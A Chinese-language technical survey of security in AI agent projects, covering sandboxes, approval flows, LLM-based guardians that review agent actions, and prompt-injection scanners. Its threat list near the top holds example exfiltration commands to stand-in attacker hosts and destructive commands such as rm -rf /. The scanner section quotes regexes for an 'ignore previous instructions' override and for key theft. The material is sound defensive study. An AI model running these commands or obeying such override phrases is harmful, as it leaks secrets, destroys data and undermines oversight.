沙箱 · 审批 · 注入防护 · Failover — 从 20 个 Agent 项目源码提炼的安全方法论
在分析 20 个 Agent 项目后,我们识别出 Agent 系统面临的 5 大类安全威胁:
攻击者通过用户输入、网页内容、文件内容向 Agent 注入恶意指令。这是 Agent 最独特的威胁——因为 Agent 会执行它读到的内容。
Agent 被诱导将敏感信息(API Key、SSH 密钥、.env 文件)发送到外部服务器。
curl https://evil.com/?key=$API_KEY — 环境变量渗出dig $SECRET.attacker.com从注册表安装的第三方 Skill/Plugin 可能包含恶意代码,在 Agent 上下文中执行任意操作。
Agent 在未获授权的情况下访问或修改超出其职责范围的文件、服务或系统资源。
Agent 执行不可逆的破坏性命令,如 rm -rf /、mkfs、dd of=/dev/sda 等。
沙箱是 Agent 安全的物理隔离层——即使 Agent 被完全控制,也无法突破沙箱影响宿主系统。
OpenClaw 实现了最完善的 Docker 沙箱系统,包含 30+ 安全配置项:
核心安全验证代码——validate-sandbox-security.ts 在创建容器前检查:
// BLOCKED_HOST_PATHS: 永远不应暴露到沙箱内的宿主路径
const BLOCKED_HOST_PATHS = [
"/etc", "/proc", "/sys", "/dev", "/root", "/boot",
"/run", "/var/run", "/var/run/docker.sock",
];
// BLOCKED_HOME_SUBPATHS: 用户目录下的敏感子目录
const BLOCKED_HOME_SUBPATHS = [
".aws", ".cargo", ".config", ".docker",
".gnupg", ".netrc", ".npm", ".ssh",
];
// BLOCKED_SECCOMP/BLOCKED_APPARMOR: 禁止 "unconfined"
const BLOCKED_SECCOMP_PROFILES = new Set(["unconfined"]);
const BLOCKED_APPARMOR_PROFILES = new Set(["unconfined"]);
Docker 配置类型 SandboxDockerSettings 暴露了丰富的安全控制:
export type SandboxDockerSettings = {
image?: string; // 沙箱镜像
readOnlyRoot?: boolean; // 只读根文件系统
network?: string; // 网络模式: bridge|none|custom
capDrop?: string[]; // 丢弃 Linux capabilities
seccompProfile?: string; // Seccomp 配置文件
apparmorProfile?: string; // AppArmor 配置
pidsLimit?: number; // PID 限制
memory?: string | number; // 内存限制
cpus?: number; // CPU 限制
ulimits?: Record<string, ...>; // Ulimit 设置
dns?: string[]; // DNS 服务器
extraHosts?: string[]; // 额外主机映射
binds?: string[]; // 额外绑定挂载
dangerouslyAllow*?: boolean; // 危险覆盖(需显式启用)
};
dangerouslyAllow* 前缀的选项需要显式启用,命名本身就发出警告。
Codex CLI (OpenAI) 实现了跨平台沙箱——macOS 用 Seatbelt、Linux 用 Docker、Windows 用独立沙箱:
// codex-rs/core/src/sandboxing/mod.rs
pub struct ExecRequest {
pub sandbox: SandboxType, // 沙箱类型
pub permission_profile: PermissionProfile, // 权限配置
pub file_system_sandbox_policy: FileSystemSandboxPolicy, // 文件系统策略
pub network_sandbox_policy: NetworkSandboxPolicy, // 网络策略
pub windows_sandbox_level: WindowsSandboxLevel, // Windows 沙箱级别
pub windows_sandbox_private_desktop: bool, // 私有桌面隔离
}
三级权限配置(Permission Profile):
// 内置权限配置文件
BUILT_IN_PERMISSION_PROFILE_READ_ONLY // 只读:仅允许读工作区文件
BUILT_IN_PERMISSION_PROFILE_WORKSPACE // 工作区:允许读写工作区,禁止访问外部
BUILT_IN_PERMISSION_PROFILE_DANGER_FULL_ACCESS // 完全访问:危险,需显式选择
文件系统沙箱策略精细控制每个路径的访问模式:
pub enum FileSystemAccessMode {
None, // 完全禁止
ReadOnly, // 只读
ReadWrite, // 读写
}
pub struct FileSystemSandboxEntry {
pub path: AbsolutePathBuf,
pub mode: FileSystemAccessMode,
}
OpenHands 使用 Docker 容器作为 Agent 的执行环境,通过 DockerSandboxService 管理:
# 容器创建时的安全设置
- 非特权用户运行
- 资源限制(CPU/内存)
- 网络隔离选项
- 会话认证密钥注入
- Webhook 回调变量隔离
OpenHands 支持 3 种沙箱模式:
Smolagents 采取了完全不同的沙箱策略——在 Python 解释器级别实现安全控制:
# local_python_executor.py — 受限的 Python 执行环境
class LocalPythonExecutor(PythonExecutor):
"""This executor evaluates Python code with restricted access to
imports and built-in functions."""
# 安全装饰器:检查返回值
@safer_eval # 检查评估函数的返回值
@safer_func # 检查普通函数的返回值
# 禁止访问的危险函数
def check_safer_result(result, static_tools, authorized_imports):
# 验证返回的对象不来自禁止的模块
if result.__module__ == module_name:
raise InterpreterError(f"Forbidden access to function: {function_name}")
审批系统解决的核心问题:Agent 想要执行危险操作时,谁来决定是否允许?
OpenClaw 的审批系统覆盖 exec、插件、会话操作等多个维度:
核心类型定义:
// exec-approvals.ts
export type ExecSecurity = "deny" | "allowlist" | "full";
export type ExecAsk = "off" | "on-miss" | "always";
export type ExecHost = "sandbox" | "gateway" | "node";
// 审批请求
export type ExecApprovalRequest = {
command: string;
host: ExecHost;
security: ExecSecurity;
ask: ExecAsk;
// ... 更多上下文字段
};
// 审批决策
export type ExecApprovalDecision = "allow" | "deny" | "allow-always";
审批请求通过平台原生能力发送(Telegram inline buttons、Discord reactions),确保用户体验无缝。
Codex CLI 的 Guardian 是最创新的安全机制——用另一个 LLM 会话来审查 Agent 的操作请求:
关键设计参数:
// guardian/mod.rs
pub(crate) const GUARDIAN_REVIEW_TIMEOUT: Duration = Duration::from_secs(90);
pub(crate) const MAX_CONSECUTIVE_GUARDIAN_DENIALS_PER_TURN: u32 = 3;
pub(crate) const MAX_RECENT_AUTO_REVIEW_DENIALS_PER_TURN: u32 = 10;
// 剪枝参数
const GUARDIAN_MAX_MESSAGE_TRANSCRIPT_TOKENS: usize = 10_000;
const GUARDIAN_MAX_TOOL_TRANSCRIPT_TOKENS: usize = 10_000;
const GUARDIAN_MAX_MESSAGE_ENTRY_TOKENS: usize = 2_000;
const GUARDIAN_MAX_TOOL_ENTRY_TOKENS: usize = 1_000;
const GUARDIAN_MAX_ACTION_STRING_TOKENS: usize = 16_000;
Guardian 的拒绝指令非常严格:
const GUARDIAN_REJECTION_INSTRUCTIONS: &str = concat!(
"The agent must not attempt to achieve the same outcome via workaround, ",
"indirect execution, or policy circumvention. ",
"Proceed only with a materially safer alternative, ",
"or if the user explicitly approves the action after being informed of the risk. ",
"Otherwise, stop and request user input.",
);
Agent Zero 的 Infection Checker 是另一个 LLM 驱动的安全机制,但审查的是 Agent 的输出而非工具调用:
# plugins/_infection_check/helpers/checker.py
class InfectionChecker:
"""在 Agent 执行每个工具前进行 LLM 安全审查"""
def __init__(self, config, iteration):
self.mode = config.get("mode", "thoughts") # 审查模式
self.model_choice = config.get("model", "utility") # 使用的模型
self.history_size = int(config.get("history_size", 10))
self.max_clarifications = int(config.get("max_clarifications", 3))
async def gate(self, agent, tool_name, tool_args):
"""在工具执行前阻塞等待安全检查"""
# 快速路径:后台任务已完成
if self._task and self._task.done():
action, detail, cot = self._task.result()
# 慢路径:构建完整上下文重新检查
else:
snapshot = self._build_log() # 包含推理、响应、工具参数
self._task = asyncio.create_task(self._run_check(agent, snapshot))
action, detail, cot = await self._task
if action == "ok": return # ✅ 通过
if action == "clarify": ... # ⚠️ 需要澄清
if action == "terminate": ... # 🛑 终止
结果解析使用特殊标签:
_RE_OK = re.compile(r"<ok\s*/>") # 安全
_RE_TERMINATE = re.compile(r"<terminate\s*/>") # 终止
_RE_CLARIFY = re.compile(r"<clarify>(.*?)</clarify>", re.DOTALL) # 澄清
Hermes 的 skills_guard.py 实现了 60+ 威胁模式,覆盖 6 大类攻击:
部分关键检测模式:
# ── 渗出:Shell 命令泄露密钥 ──
(r'curl\s+[^\n]*\$\{?\w*(KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API)',
"env_exfil_curl", "critical", "exfiltration")
# ── 注入:忽略指令 ──
(r'ignore\s+(?:\w+\s+)*(previous|all|above|prior)\s+instructions',
"prompt_injection_ignore", "critical", "injection")
# ── 注入:隐藏 HTML ──
(r'<!--[^>]*(?:ignore|override|system|secret|hidden)[^>]*-->',
"html_comment_injection", "high", "injection")
(r'<\s*div\s+style\s*=\s*["\'][\s\S]*?display\s*:\s*none',
"hidden_div", "high", "injection")
# ── 注入:翻译-执行绕过 ──
(r'translate\s+.*\s+into\s+.*\s+and\s+(execute|run|eval)',
"translate_execute", "critical", "injection")
# ── 持久化:SSH 密钥注入 ──
(r'authorized_keys|\.ssh/id_rsa',
"ssh_key_injection", "critical", "persistence")
| 策略 | 代表项目 | 优势 | 局限 |
|---|---|---|---|
| 静态正则扫描 | Hermes Skills Guard | 快速、确定性、无 LLM 成本 | 无法检测语义层面的注入 |
| LLM 审查 | Codex Guardian, Agent Zero | 理解语义,检测隐蔽注入 | 有成本、有延迟、可能误判 |
| 运行时网关 | OpenClaw Policy Pipeline | 精确控制、可审计 | 需预定义策略,无法处理未知攻击 |
OpenClaw 对工具的管控是所有项目中最精细的:
Trusted Tool Policy 的实现允许插件动态干预工具调用:
// trusted-tool-policy.ts
export async function runTrustedToolPolicies(
event: PluginHookBeforeToolCallEvent,
ctx: PluginHookToolContext,
): Promise<PluginHookBeforeToolCallResult | undefined> {
const policies = getActivePluginRegistry()?.trustedToolPolicies ?? [];
// 策略可以:
// 1. 调整参数(参数清洗)
let adjustedParams = event.params;
// 2. 要求审批
let approval: PluginHookBeforeToolCallResult["requireApproval"];
// 3. 派生路径(如解析 glob 后的实际文件路径)
const currentDerivedEvent = normalizeDerivedEventFields({ derivedPaths });
// 多策略顺序执行,每个策略看到前一个策略修改后的结果
for (const policy of policies) {
const result = await policy.handler(buildEvent(), ctx);
if (result?.requireApproval) approval = result.requireApproval;
if (result?.adjustedParams) { adjustedParams = result.adjustedParams; }
if (result?.blocked) return result; // 立即阻止
}
}
Codex CLI 的权限配置文件 (Permission Profile) 将文件系统和网络权限统一管理:
// 三级权限配置
pub enum PermissionProfile {
ReadOnly, // 所有文件只读
Workspace, // 工作区内读写,外部只读
FullAccess, // 危险:完全访问
}
// 网络策略
pub struct NetworkSandboxPolicy {
mode: NetworkMode, // Disabled / AllowDomains / ProxyAll
allowed_domains: Vec<String>,
unix_socket_permissions: Vec<NetworkUnixSocketPermission>,
}
// 文件系统策略
pub struct FileSystemSandboxPolicy {
entries: Vec<FileSystemSandboxEntry>, // 每个路径的独立权限
special_paths: Vec<FileSystemSpecialPath>,
}
OpenClaw 提供了最全面的安全审计系统,通过 openclaw security audit 命令运行:
$ openclaw security audit # 基础审计
$ openclaw security audit --deep # 深度审计(包含 Gateway 探测)
$ openclaw security audit --fix # 自动修复安全问题
$ openclaw security audit --json # 机器可读输出
审计检查项来自 audit-extra.sync.ts,覆盖 1100+ 行检查逻辑:
审计结果类型:
export type SecurityAuditFinding = {
checkId: string; // 检查项 ID
severity: "info" | "warn" | "critical"; // 严重程度
title: string; // 标题
detail: string; // 详情
remediation?: string; // 修复建议
};
AutoGPT 在 Web API 层实现了安全头中间件:
# backend/api/middleware/security.py
class SecurityHeadersMiddleware:
"""添加安全响应头,默认禁用所有缓存"""
CACHEABLE_PATHS = {
"/static", "/_next/static", # 静态资源
"/api/health", "/api/status", # 健康检查
"/api/store/agents", # 公共市场
"/api/graphs/templates", # 图模板
}
# 默认不可缓存 → 防止敏感 Agent 数据被中间层缓存
正则表达式拒绝服务 (ReDoS) 是 Agent 系统的特殊风险——Agent 可能从外部内容中构建正则表达式:
// security/safe-regex.ts — 完整的 ReDoS 防护
// 核心检测:嵌套量词分析
export function hasNestedRepetition(source: string): boolean {
// 示例:(a+)+ → 危险:嵌套重复
// 示例:(a|b)* → 危险:模糊交替 + 无限重复
return analyzeTokensForNestedRepetition(tokenizePattern(source));
}
// 安全编译:拒绝危险正则
export function compileSafeRegexDetailed(source: string, flags = "") {
if (hasNestedRepetition(trimmed)) {
return { regex: null, reason: "unsafe-nested-repetition" };
}
try {
return { regex: new RegExp(trimmed, flags), reason: null };
} catch {
return { regex: null, reason: "invalid-regex" };
}
}
// 有界输入测试:限制测试窗口
export function testRegexWithBoundedInput(
regex: RegExp,
input: string,
maxWindow = 2048, // 最多测试前后 2048 字符
): boolean {
if (input.length <= maxWindow) {
return regex.test(input);
}
// 仅测试头部和尾部
return regex.test(input.slice(0, maxWindow)) ||
regex.test(input.slice(-maxWindow));
}
实现了一个完整的正则表达式 token 化器,支持:
[...]* + ? {n,m}|(...)通过计算最小/最大匹配长度和嵌套重复检测来识别 ReDoS 风险模式。
集中管理危险工具列表,避免安全策略和审计逻辑漂移:
// security/dangerous-tools.ts
export const DEFAULT_GATEWAY_HTTP_TOOL_DENY = [
"exec", // 直接 RCE
"spawn", // 子进程 RCE
"shell", // Shell RCE
"fs_write", // 任意文件写入
"fs_delete", // 任意文件删除
"fs_move", // 任意文件移动
"apply_patch", // 补丁可重写任意文件
"sessions_spawn", // 远程代理生成 = RCE
"sessions_send", // 跨会话消息注入
"cron", // 持久化自动化控制面
"gateway", // 网关重配置
"nodes", // 节点命令中继
] as const;
Smolagents 在 Python 执行器中实现了返回值安全检查:
# safer_eval 装饰器 — 检查评估函数的返回值
@wraps(func)
def _check_return(expression, state, static_tools, custom_tools,
authorized_imports=BASE_BUILTIN_MODULES):
result = func(expression, state, static_tools, custom_tools,
authorized_imports=authorized_imports)
check_safer_result(result, static_tools, authorized_imports)
return result
# safer_func 装饰器 — 检查普通函数的返回值
@wraps(func)
def _check_return(*args, **kwargs):
result = func(*args, **kwargs)
check_safer_result(result, static_tools, authorized_imports)
return result
这防止了 Agent 通过合法函数调用链获取危险对象(如文件句柄、子进程对象等)。
| 项目 | 沙箱 | 审批系统 | 注入防护 | 安全审计 | 工具策略 |
|---|---|---|---|---|---|
| OpenClaw | Docker (30+ 配置项) | 多层审批 + 原生 UI | Policy Pipeline + Plugin | ✅ 1100+ 行检查 | ✅ 三层 Allow/Deny/Policy |
| Codex CLI | Docker + Seatbelt + Win | ✅ LLM Guardian | Guardian + Permission Profile | ❌ | ✅ 三级 Profile |
| Hermes | ❌ | ❌ | ✅ 60+ 静态模式 | ❌ | Trust Level 策略 |
| OpenHands | ✅ Docker 沙箱 | ❌ | ❌ | ❌ | ❌ |
| Agent Zero | ❌ | LLM Infection Check | ✅ LLM 输出审查 | ❌ | ❌ |
| Smolagents | Python 解释器沙箱 | ❌ | 返回值安全检查 | ❌ | authorized_imports |
| AutoGPT | ❌ | ❌ | Security Headers | ❌ | Block 白名单 |
| SWE-agent | Docker (容器内执行) | ❌ | ❌ | ❌ | ❌ |
| Aider | ❌ | ❌ | ❌ | ❌ | ❌ |
| LangGraph | ❌ | ❌ | ❌ | ❌ | ❌ |
综合所有项目的安全实现,我们提炼出 Agent 安全的 5 层纵深防御模型:
基于 Codex Guardian 和 Agent Zero Infection Check 的经验:
readOnlyRoot: true — 只读根文件系统network: "none" — 禁用网络(除非需要)capDrop: ["ALL"] — 丢弃所有 Linux capabilitiespidsLimit: 100 — 限制进程数(防 fork bomb)memory: "2g" — 内存限制seccompProfile — 系统调用过滤apparmorProfile — 强制访问控制dangerouslyAllow* — 仅在充分理解风险时启用network: "host" — 几乎不应使用binds: ["/:/host"] — 永远不要挂载根目录🔗 构建 Agent 实践指南 · 主循环 · 工具系统 · 记忆系统 · 提示词工程
📊 数据来源:20 个 Agent 项目源码分析 · 2026-05